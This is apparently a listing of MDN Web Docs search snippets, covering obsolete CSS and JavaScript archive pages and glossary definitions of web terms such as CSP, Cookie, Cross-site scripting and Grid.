... <!doctype html> <html> <head> <title>scrollbar-shadow-color</title> <style> .blueshadow { scrollbar-shadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-text-autospace - Archive of obsolete content
formal syntax none | ideograph-alpha | ideograph-numeric | ideograph-parenthesis | ideograph-space specifications not part of any specification.
... this property is an extension to css, and can be used as a synonym for text-autospace in ie8 standards mode.
-ms-wrap-margin - Archive of obsolete content
formal syntax <length> specifications not part of any specification.
...this property can be set to any supported length value.
:-moz-system-metric(scrollbar-thumb-proportional) - Archive of obsolete content
the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar thumbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.
... specifications not part of any specification.
:-moz-system-metric() - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
... pseudo-class will match an element if the computer's user interface includes a forward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-thumb-proportional)the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar thumbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.:-moz-system-metric(touch-enabled)the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the device on which the content is being rendered offers a supported touch-screen interface.:-moz-system-metric(windows-default-theme)the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user...
::-ms-clear - Archive of obsolete content
such inputs include: <input type="color"> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-ms-clear in its selector.
...*/ /* the cross can be hidden by setting the display attribute as "none" */ } result the following screenshot shows what the feature will look like: specifications not part of any specification.
::-ms-reveal - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-reveal in its selector.
...nline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-reveal specifications not part of any specification.
::-ms-value - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-value in its selector.
...ion-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-value example input::-ms-value { color: lime; font-style: italic; } to disable the default styling: select::-ms-value { background-color: transparent; color: inherit; } specifications not part of any specification.
-moz-os-version - Archive of obsolete content
the -moz-os-version gecko-only css media feature can be used to apply styles based on the user's version of microsoft windows.
... this can be useful for adapting application skins and other chrome code depending on the user's operating system version.
-moz-windows-theme - Archive of obsolete content
the -moz-windows-theme gecko-only css media feature is useful for customizing application skins and other chrome code to work well with the user's windows theme.
... syntax the -moz-windows-theme feature is specified as a keyword value that indicates which windows theme is currently being used.
azimuth - Archive of obsolete content
ArchiveWebCSSazimuth
this is important in that it provides a natural way to tell several voices apart, as each can be positioned to originate at a different location on the sound stage.
... examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.comment { azimuth: behind; } /* 180deg */ specifications specification status comment css level 2 (revision 1)the definition of 'azimuth' in that specification.
display-inside - Archive of obsolete content
specifications specification status comment css display module level 3the definition of 'display-inside' in that specification.
... candidate recommendation initial specification browser compatibility not supported in any browser.
E4X Tutorial - Archive of obsolete content
next » warning: e4x is deprecated.
...with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming.
Legacy generator function - Archive of obsolete content
you can also define functions using the function constructor with functionbody and at least one yield expression, and a legacy generator function expression.
...a function can have up to 255 arguments.
Enumerator - Archive of obsolete content
instead of using indexes, as you would with arrays, you can move the current item pointer only to the first or next element of a collection.
... methods enumerator.atend returns a boolean value indicating if the enumerator is at the end of the collection.
Error.stackTraceLimit - Archive of obsolete content
syntax error.stacktracelimit remarks you can set the stacktracelimit property to any positive value between 0 and infinity.
... try { var err = new error("my error"); error.stacktracelimit = 7; throw err; } catch(e) { document.write("error stack trace limit: ") document.write(error.stacktracelimit); } requirements supported in internet explorer 10 and in windows 8.x store apps.
VBArray.getItem - Archive of obsolete content
the vbarray.getitem method returns the item at the specified location.
... dimension1, ..., dimensionn specifies the exact location of the desired element of the vbarray.
Microsoft JavaScript extensions - Archive of obsolete content
warning: these apis will only work in microsoft applications, and are not on a standards track.
... microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascript apis.
New in JavaScript 1.7 - Archive of obsolete content
in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names...
...the features that do not introduce new keywords (destructuring assignment and array comprehensions) can be used without specifying the javascript version.
Number.toInteger() - Archive of obsolete content
examples using tointeger number.tointeger(0.1); // 0 number.tointeger(1); // 1 number.tointeger(math.pi); // 3 number.tointeger(null); // 0 specifications not part of any standard.
... number.tointeger() was part of the draft ecmascript 6 specification, but has been removed on august 23, 2013 in draft rev 17.
Reflect.enumerate() - Archive of obsolete content
the static reflect.enumerate() method used to return an iterator with the enumerable own and inherited properties of the target object, but has been removed in ecmascript 2016 and is deprecated in browsers.
... examples using reflect.enumerate() var obj = { x: 1, y: 2 }; for (var name of reflect.enumerate(obj)) { console.log(name); } // logs "x" and "y" specifications not part of any standard.
ParallelArray - Archive of obsolete content
the goal of parallelarray was to enable data-parallelism in web applications.
... methods map reduce scan scatter filter flatten partition get examples using map in parallel var p = new parallelarray([0, 1, 2, 3, 4]); var m = p.map(function (v) { return v + 1; }); ...
Developing Mozilla XForms - Archive of obsolete content
then open your form that causes problems and have a look on the console.
...schema validation problems the schema-validation extension contains a logging facility that can show some internals on the schema processing.
RFE to the Custom Controls Interfaces - Archive of obsolete content
you can refer to custom controls page to get familiar with custom controls mechanism.
...if you need to have a custom control that works with complext content or you find our interfaces too limiting to create the type of control that you have in mind, then this is the right place to pass along your requirements and any usecase that you are trying to solve.
XForms Group Element - Archive of obsolete content
groups can be nested to create complex hierarchies.
... attributes single-node binding type restrictions the group element can be bound to a node containing data of any type.
XForms Help Element - Archive of obsolete content
the message of the help element can exist in instance data, in a remote document, or as inline text.
... type restrictions the help element can be bound to any simple content.
XForms Hint Element - Archive of obsolete content
the message of the hint element can exist in instance data, in a remote document, or as inline text.
... type restrictions the hint element can be bound to any simple content.
XForms Message Element - Archive of obsolete content
the message of the message element can exist in instance data, in a remote document, or as inline text.
... special level - defines a representation of message element type restrictions the message element can be bound to any simple content.
bootstrap.js - Extensions
the bootstrap.js script should contain several specific functions, which are called by the browser to manage the extension.
... the script gets executed in a privileged sandbox, which is cached until the extension is shut down.
Tutorials - Game development
along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
... 2d maze game with device orientation this tutorial shows how to create a 2d maze game using html5, incorporating fundamentals such as collision detection and sprite placement on a <canvas>.
Character sets supported by Gecko - Gecko Redirect 1
in gecko-internal apis, it is necessary to use particular (potentially) mixed-case names for the encodings.
...for other encodings, including gbk, this is the lower-case name from the encoding standard.
502 - MDN Web Docs Glossary: Definitions of Web-related terms
a server can act as a gateway or proxy (go-between) between a client (like your web browser) and another, upstream server.
... when you request to access a url, the gateway server can relay your request to the upstream server.
ALPN - MDN Web Docs Glossary: Definitions of Web-related terms
application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional round trips.
... important protocol identifiers: protocol identification sequence http/1.1 0x68 0x74 0x74 0x70 0x2f 0x31 0x2e 0x31 ("http/1.1") http/2 0x68 0x32 ("h2") http/2 over cleartext tcp 0x68 0x32 0x63 ("h2c") specifications specification status notes rfc 7301 ietf rfc initial definition.
Accessibility - MDN Web Docs Glossary: Definitions of Web-related terms
web accessibility (a11y) refers to best practices for keeping a website usable despite physical and technical restrictions.
... learn more general knowledge accessibility resources at mdn web accessibility on wikipedia learn web accessibility learn accessibility on mdn web accessibility in mind technical reference the aria documentation on mdn the web accessibility initiative homepage the wai-aria recommendation ...
Adobe Flash - MDN Web Docs Glossary: Definitions of Web-related terms
flash is an obsolescent technology developed by adobe for viewing expressive web applications, multimedia content, and streaming media.
... adobe flash can run from supporting web browsers via a browser plug-in.
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
in other words, an algorithm is a means of describing a way to solve a problem so that it can be solved repeatedly, by humans or machines.
... learn more general knowledge algorithm on wikipedia technical reference explanations of sorting algorithms explanations of algorithmic complexity ...
Block (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
for example, <p> is by default a block-level element, whereas <a> is an inline element — you can put several links next to one another in your html source and they will sit on the same line as one another in the rendered output.
... using the display property you can change whether an element displays inline or as a block (among many other options); blocks are also subject to the effects of positioning schemes and use of the position property.
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
a block cipher mode of operation, usually just called a "mode" in context, specifies how a block cipher should be used to encrypt or decrypt messages that are longer than the block size.
...using an inappropriate mode, or using a mode incorrectly, can completely undermine the security provided by the underlying cipher.
Bootstrap - MDN Web Docs Glossary: Definitions of Web-related terms
initially, bootstrap was called twitter blueprint and was developed by a team working at twitter.
... it supports responsive design and features predefined design templates that you can use out of the box, or customize for your needs with your code.
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
a bézier curve (pronounced [bezje]) is a mathematically described curve used in computer graphics and animation.
... in vector images, they are used to model smooth curves that can be scaled indefinitely.
CRUD - MDN Web Docs Glossary: Definitions of Web-related terms
crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
... crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status.
CSP - MDN Web Docs Glossary: Definitions of Web-related terms
the implementation is based on an http header called content-security-policy.
... learn more general knowledge content security policy on wikipedia technical knowledge content security policy documentation on mdn ...
CSS Object Model (CSSOM) - MDN Web Docs Glossary: Definitions of Web-related terms
both of them are part of the critical rendering path which is a series of steps that must happen to properly render a website.
...it allows users to read and modify the css style dynamically.
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
in cryptography, a cipher is an algorithm that can encode cleartext to make it unreadable, and to decode it back.
... ciphers were common long before the information age (e.g., substitution ciphers, transposition ciphers, and permutation ciphers), but none of them were cryptographically secure except for the one-time pad.
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
using an appropriate language, you can program/create all sorts of software.
... for example, a program that helps scientists with complex calculations, a database that stores huge amounts of data, a web site that allows people to download music, or animation software that allows people to create animated movies.
Constant - MDN Web Docs Glossary: Definitions of Web-related terms
a constant is a value that the programmer cannot change, for example numbers (1, 2, 42).
... with variables, on the other hand, the programmer can assign a new value to a variable name already in use.
Continuous Media - MDN Web Docs Glossary: Definitions of Web-related terms
continuous media can be real-time (interactive), where there is a "tight" timing relationship between source and sink, or streaming (playback), where the relationship is less strict.
... css can be used in a variety of contexts, including print media and some css, in particular, that used for layout behaves differently depending on the context it is in.
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
a user can customize their web browser to accept, reject, or delete cookies.
... cookies can be set and modified at the server level using the set-cookie http header, or with javascript using document.cookie.
Crawler - MDN Web Docs Glossary: Definitions of Web-related terms
a web crawler is a program, often called a bot or robot, which systematically browses the web to collect data from webpages.
... typically search engines (e.g.
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
...the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content.
Cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
cryptography designs and studies algorithms used to encode and decode messages in an insecure environment, and their applications.
... more than just data confidentiality, cryptography also tackles identification, authentication, non-repudiation, and data integrity.
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
the term delta is commonly used when communicating changes in speed, position, or acceleration of a physical or virtual object.
... likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
they let users inspect and debug the page's html, css, and javascript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more.
... learn more general knowledge web development tools on wikipedia technical reference firefox developer tools on mdn firebug (former developer tool for firefox) chrome devtools on chrome.com safari web inspector on apple.com edge dev tools on microsoft.com ...
Digest - MDN Web Docs Glossary: Definitions of Web-related terms
ideally, a digest is quick to calculate, irreversible, and unpredictable, and therefore indicates whether someone has tampered with a given message.
... a digest can be used to perform several tasks: in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files) verify message integrity (a tampered message will have a different hash) store passwords so that they can't be retrieved, but can still be checked (to do this securely, you also need to salt the password.) generate pseudo-random numbers generate keys it is critical to choose the proper hash function for your use case to avoid collisions and predictability.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
... learn more general knowledge definition of the doctype in the html specification quirks mode and standards mode technical reference document.doctype, a javascript method that returns the doctype ...
Dominator - MDN Web Docs Glossary: Definitions of Web-related terms
this concept is important for garbage collection because it means that b is only reachable through a.
... learn more general knowledge dominator on wikipedia technical reference dominators garbage collection ...
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a dynamic programming language is a programming language in which operations otherwise done at compile-time can be done at run-time.
... this is opposed to so-called static programming languages, in which such changes are normally not possible.
ECMAScript - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript is a scripting language specification on which javascript is based.
... learn more general knowledge ecmascript on wikipedia technical reference ecmascript ...
Empty element - MDN Web Docs Glossary: Definitions of Web-related terms
an empty element is an element from html, svg, or mathml that cannot have any child nodes (i.e., nested elements or text nodes).
... the html, svg, and mathml specifications define very precisely what each element can contain.
Entity header - MDN Web Docs Glossary: Definitions of Web-related terms
an entity header is an http header that can be used in an http request or response, and describes the content of the body of themessage.
... a few request headers after a get request: in the following example, content-length is an entity header, while host and user-agent are requests headers: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge list of all http headers ...
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
this slot only exists in document.all and cannot be set using javascript.
... examples examples of falsy values in javascript (which are coerced to false in boolean contexts, and thus bypass the if block): if (false) if (null) if (undefined) if (0) if (-0) if (0n) if (nan) if ("") the logical and operator, && if the first object is falsy, it returns that object false && "dog" // ↪ false 0 && "dog" // ↪ 0 specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
reducing site initialization time and eliminating long tasks can help eliminate first input delays.
... see also requestidlecallback lazy loading ...
Forbidden response header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden response header name is an http header name (either `set-cookie` or `set-cookie2`) that cannot be modified programmatically.
... specifications specification status comment fetchthe definition of 'forbidden-response-header-name' in that specification.
Fork - MDN Web Docs Glossary: Definitions of Web-related terms
a fork is a copy of an existing software project at some point to add someone's own modifications to the project.
... basically, if the license of the original software allows, you can copy the code to develop your own version of it, with your own additions, which will be a "fork".
Fragmentainer - MDN Web Docs Glossary: Definitions of Web-related terms
a fragmentainer is defined in the css fragmentation specification as follows: a box—such as a page box, column box, or region—that contains a portion (or all) of a fragmented flow.
... fragmentainers can be pre-defined, or generated as needed.
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
web browsers need software called a layout engine to interpret html, css, javascript, and embedded content (like images) and draw everything to your screen.
... learn more general knowledge gecko on wikipedia technical reference the gecko documentation on mdn ...
General header - MDN Web Docs Glossary: Definitions of Web-related terms
a general header is an http header that can be used in both request and response messages but doesn't apply to the content itself.
... the most common general headers are date, cache-control or connection.
Git - MDN Web Docs Glossary: Definitions of Web-related terms
what sets it apart from previous scm systems is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it.
... learn more general knowledge official website with documentation github, a git-based graphical project host ...
Google Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
chrome supports its own layout called blink.
... chrome dev for android chrome canary for desktop.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
a css grid is defined using the grid value of the display property; you can define columns and rows on your grid using the grid-template-rows and grid-template-columns properties.
...the implicit grid is the grid created automatically due to content being added outside of the tracks defined.
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
in a css grid layout, a grid cell is the smallest unit you can have on your css grid.
...; grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns further reading css grid layout guide: basic concepts of grid layout definition of grid cells in the css grid layout specification ...
Grid Column - MDN Web Docs Glossary: Definitions of Web-related terms
a grid column is a vertical track in a css grid layout, and is the space between two vertical grid lines.
...these columns will be auto-sized by default, or can have a size specified with the grid-auto-columns property.
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
track sizing in the explicit grid when defining grid tracks using grid-template-columns and grid-template-rows you may use any length unit, and also the flex unit, fr which indicates a portion of the available space in the grid container.
...er-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1fr 3fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit grid tracks created in the implicit grid are auto-sized by default, however you can define a size for these tracks using the grid-auto-rows and grid-auto-columns properties.
Guard - MDN Web Docs Glossary: Definitions of Web-related terms
guard is a feature of headers objects (as defined in the fetch spec, which affects whether methods such as set() and append() can change the header's contents.
... for example, immutable guard means that headers can't be changed.
Hotlink - MDN Web Docs Glossary: Definitions of Web-related terms
a hotlink (also known as an inline link) is an object (typically an image) directly linked to from another site.
... the practice is often frowned upon as it can cause unwanted bandwidth usage on the website hosting the linked-to object, and copyright concerns — it is considered stealing when it is done without permission.
I18N - MDN Web Docs Glossary: Definitions of Web-related terms
internationalization is the design and development of a product, application or document content that enables easy localization for target audiences that vary in culture, region, or language.
... (the w3c definition) among other things, i18n requires support for multiple character sets (usually via unicode) units of measure (currency, °c/°f, km/miles, etc.) time and date formats keyboard layouts text directions learn more general knowledge i18n on wikipedia technical reference i18n on w3c i18n on gala-global.org learn about it i18n material on i18nguy.com ...
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
this protocol lets two peers find and establish a connection with one another even though they may both be using network address translator (nat) to share a global ip address with other devices on their respective local networks.
... the framework algorithm looks for the lowest-latency path for connecting the two peers, trying these options in order: direct udp connection (in this case—and only this case—a stun server is used to find the network-facing address of a peer) direct tcp connection, via the http port direct tcp connection, via the https port indirect connection via a relay/turn server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks nat traversal) learn more general knowledge webrtc, the principal web-related protocol which uses ice webrtc protocols technical reference rfc 5245, the ietf specification for ice rtcicecandidate, the interface representing a ice candidate ...
IPv4 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv4 is the fourth version of the communication protocol underlying the internet and the first version to be widely deployed.
...(version number 5 was assigned in 1979 to the experimental internet stream protocol, which however has never been called ipv5.) learn more general knowledge ipv4 on wikipedia ...
IPv6 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv6 is the current version of the communication protocol underlying the internet.
... slowly ipv6 is replacing ipv4, among other reasons because ipv6 allows for many different ip addresses.
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
the international telecommunication union (itu) is the organization authorized by the united nations to establish standards and rules for telecommunication, including telegraph, radio, telephony and the internet.
...for example, the itu and the moving picture experts group (mpeg) worked together to develop and publish, as well as to maintain, the various mpeg specifications, such as mpeg-2 (itu h.262), avc (itu h.264), and hevc (itu h.265).
Immutable - MDN Web Docs Glossary: Definitions of Web-related terms
an immutable object is one whose content cannot be changed.
... an object can be immutable for various reasons, for example: to improve performance (no planning for the object's future changes) to reduce memory use (make object references instead of cloning the whole object) thread-safety (multiple threads can reference the same object without interfering with one other) learn more general knowledge immutable on wikipedia ...
Inheritance - MDN Web Docs Glossary: Definitions of Web-related terms
data abstraction can be carried up several levels, that is, classes can have superclasses and subclasses.
... as an app developer, you can choose which of the superclass's attributes and methods to keep and add your own, making class definition very flexible.
Java - MDN Web Docs Glossary: Definitions of Web-related terms
java is statically typed and features a similar syntax to c.
...this makes it a preferred language in many large enterprises with heterogenous landscapes, but may be perceived "heavy".
Layout viewport - MDN Web Docs Glossary: Definitions of Web-related terms
this becomes important, for example, on mobile devices, where a pinching gesture can usually be used to zoom in and out on a site's contents.
...instead, the visual viewport is updated to indicate the area of the page that they can see.
MIME type - MDN Web Docs Glossary: Definitions of Web-related terms
a mime type (now properly called "media type", but also sometimes "content type") is a string sent along with a file indicating the type of the file (describing the content format, for example, a sound file might be labeled audio/ogg, or an image file image/png).
... learn more general knowledge internet media type on wikipedia technical reference list of mime types properly configuring server mime types details information about the usage of mime types in a web context.
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
on the main axis you can control the sizing of flex items by adding any available space to the items themselves, by way of flex properties on the items.
... or, you can control the space between and around items by using the justify-content property.
Media (Audio-visual presentation) - MDN Web Docs Glossary: Definitions of Web-related terms
media content can be recorded, played back, presented, and at times interacted with in various ways.
... learn more general knowledge multimedia on wikipedia technical reference web media technologies: a guide to all the ways media can be used in web content multimedia and embedding in the mdn learning area <audio> and <video> elements, used to present media in html documents ...
Method - MDN Web Docs Glossary: Definitions of Web-related terms
there are two kind of methods: instance methods which are built-in tasks performed by an object instance, or static methods which are tasks that are called directly on an object constructor.
... learn more learn about it method (computer programming) in wikipedia defining a method in javascript (comparison of the traditional syntax and the new shorthand) technical reference list of javascript built-in methods ...
Native - MDN Web Docs Glossary: Definitions of Web-related terms
a native application has been compiled to run on the hardware/software environment that comprises the targeted architecture.
... an example of a native android app would be a mobile application written in java using the android toolchain.
Node.js - MDN Web Docs Glossary: Definitions of Web-related terms
node.js is a cross-platform javascript runtime environment that allows developers to build server-side and network applications with javascript.
... learn more general knowledge node.js on wikipedia node.js website technical information api reference documentation tutorials ...
Node - MDN Web Docs Glossary: Definitions of Web-related terms
the term node can have several meanings depending on the context.
...in physical networks, a node is usually a device, like a computer or a router.
Normative - MDN Web Docs Glossary: Definitions of Web-related terms
normative is a word commonly used in software specifications to denote sections that are standardized and must be followed as a rule.
... specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule.
Null - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, null is marked as one of the primitive values, because its behaviour is seemingly primitive.
... but in certain cases, null is not as "primitive" as it first seems!
OpenGL - MDN Web Docs Glossary: Definitions of Web-related terms
opengl (open graphics library) is a cross-language, multi-platform application programming interface (api) for rendering 2d and 3d vector graphics.
... the api is typically used to interact with a graphics processing unit (gpu), to achieve hardware-accelerated rendering.
PHP - MDN Web Docs Glossary: Definitions of Web-related terms
php (a recursive initialism for php: hypertext preprocessor) is an open-source server-side scripting language that can be embedded into html to build web applications and dynamic websites.
... examples basic syntax // start of php code <?php // php code goes here ?> // end of php code printing data on screen <?php echo "hello world!"; ?> php variables ​​​​​​​​​​​​​​<?php // variables $nome='danilo'; $sobrenome='santos'; $pais='brasil'; $email='danilocarsan@gmailcom'; ​​​​​​​ // printing the variables echo $nome; echo $sobrenome; echo $pais; echo $email; ?> ...
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
some web applications include a prediction feature completing search text and address bar urls based on browsing history and related searches.
...also, pre-loaded websites and embedded content can set and read their cookies as if they were visited even if they weren't.
Parameter - MDN Web Docs Glossary: Definitions of Web-related terms
depending on programming language, input parameters can be passed several ways (e.g., call-by-value, call-by-address, call-by-reference).
... output/return parameters primarily return multiple values from a function, but not recommended since they cause confusion learn more general knowledge difference between parameter and argument on wikipedia technical reference function declaration function expression ...
Polymorphism - MDN Web Docs Glossary: Definitions of Web-related terms
for example, integers, floats, and doubles are implicitly polymorphic: regardless of their different types, they can all be added, subtracted, multiplied, and so on.
... in the case of oop, by making the class responsible for its code as well as its own data, polymorphism can be achieved in that each class has its own function that (once called) behaves properly for any object.
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
the content is downloaded and cached for anticipated future use without the user making an explicit request for it.
... dns prefetching domain lookups can be slow, especially with network latency on mobile phones.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves.
...x-requested-with origin: https://foo.bar.org if the server allows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for the requests created in the same url using access-control-max-age header like in the above example.
Promise - MDN Web Docs Glossary: Definitions of Web-related terms
when the called function finishes its work asynchronously, a function on the promise object called a resolution (or fulfillment, or completion) handler is called to let the original caller know that the task is complete.
... general knowledge futures and promises technical reference promise in the javascript reference.
Proxy server - MDN Web Docs Glossary: Definitions of Web-related terms
a proxy intercepts requests and serves back responses; it may forward the requests, or not (for example in the case of a cache), and it may modify it (for example changing its headers, at the boundary between two networks).
... a proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the internet.
Pseudo-element - MDN Web Docs Glossary: Definitions of Web-related terms
for example, rather than putting the first letter of each paragraph in its own element, you can style them all with p::first-letter.
... learn more technical reference pseudo-elements ...
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
it was developed by google as a way to experiment with ways to improve tcp and web application delivery.
... as tcp is built into the kernel of many operating systems being able to experiment with changes, test them and implement modifications is an extremely slow process.
RIL - MDN Web Docs Glossary: Definitions of Web-related terms
ril (radio interface layer) is a mobile operating system component which communicates between the device's software and the device's phone, radio, or modem hardware.
... learn more general knowledge radio interface layer on wikipedia technical reference firefox os architecture: the userspace process architecture ...
RTF - MDN Web Docs Glossary: Definitions of Web-related terms
however, many word-processing programs can still read and write rtf.
... learn more general knowledge rich text format on wikipedia technical reference final specification from microsoft ...
RTP (Real-time Transport Protocol) and SRTP (Secure RTP) - MDN Web Docs Glossary: Definitions of Web-related terms
rtp is suitable for video-streaming application, telephony over ip like skype and conference technologies.
... the secure version of rtp, srtp, is used by webrtc, and uses encryption and authentication to minimize the risk of denial-of-service attacks and security breaches.
Real User Monitoring (RUM) - MDN Web Docs Glossary: Definitions of Web-related terms
this technique monitors an application’s actual user interactions.
...rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience.
Regular expression - MDN Web Docs Glossary: Definitions of Web-related terms
regular expressions are implemented in various languages, but the best-known implementation is the perl implementation, which has given rise to its own ecosystem of implementations called pcre (perl compatible regular expression).
... learn more general knowledge regular expressions on wikipedia interactive tutorial visualized regular expression technical reference writing regular expressions in javascript ...
Robots.txt - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the site admin can forbid crawlers to visit a certain folder (and all the files therein contained) or to crawl a specific file, usually to prevent those files being indexed by other search engines.
... learn more general knowledge robots.txt on wikipedia https://developers.google.com/search/reference/robots_txt standard specification draft: https://tools.ietf.org/html/draft-rep-wg-topic https://www.robotstxt.org/ ...
Script-supporting element - MDN Web Docs Glossary: Definitions of Web-related terms
these elements may be important, but do not affect the displayed page unless the page's scripts explicitly cause them to do so.
... technical reference to learn more, see script-supporting elements in kinds of html content.
Scrollport - MDN Web Docs Glossary: Definitions of Web-related terms
a scroll container is created by applying overflow: scroll to a container, or overflow: auto when there is enough content to cause overflow.
... the scrollport coincides with the padding box of that container and represents the content that can be seen as the box is scrolled.
Serialization - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, for example, you can serialize an object to a json string by calling the function json.stringify().
... css values are serialized by calling the function cssstyledeclaration.getpropertyvalue().
Server - MDN Web Docs Glossary: Definitions of Web-related terms
services are provided generally over local area networks or wide area networks such as the internet.
... for example: an internet-connected web server is sending a html file to your browser software so that you can read this page local area network server for file, name, mail, print, and fax minicomputers, mainframes, and super computers at data centers learn more general knowledge introduction to servers server (computing) on wikipedia ...
Shadow tree - MDN Web Docs Glossary: Definitions of Web-related terms
this provides a way to encapsulate implementation details, which is especially useful for custom elements and other advanced design paradigms.
... learn more general knowledge using shadow dom technical information element.shadowroot and element.attachshadow() shadowroot <slot> ...
Site - MDN Web Docs Glossary: Definitions of Web-related terms
the concept of a site is used in samesite cookies, as well as a web application's cross-origin resource policy.
... examples of the same site https://developer.mozilla.org/docs/ https://support.mozilla.org/ same site because the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain of the two urls differs specifications specification status comment url living standard initial definition ...
Slug - MDN Web Docs Glossary: Definitions of Web-related terms
a slug is the unique identifying part of a web address, typically at the end of the url.
... in the context of mdn, it is the portion of the url following "<locale>/docs/".
Smoke Test - MDN Web Docs Glossary: Definitions of Web-related terms
a smoke test consists of functional or unit tests of critical software functionality.
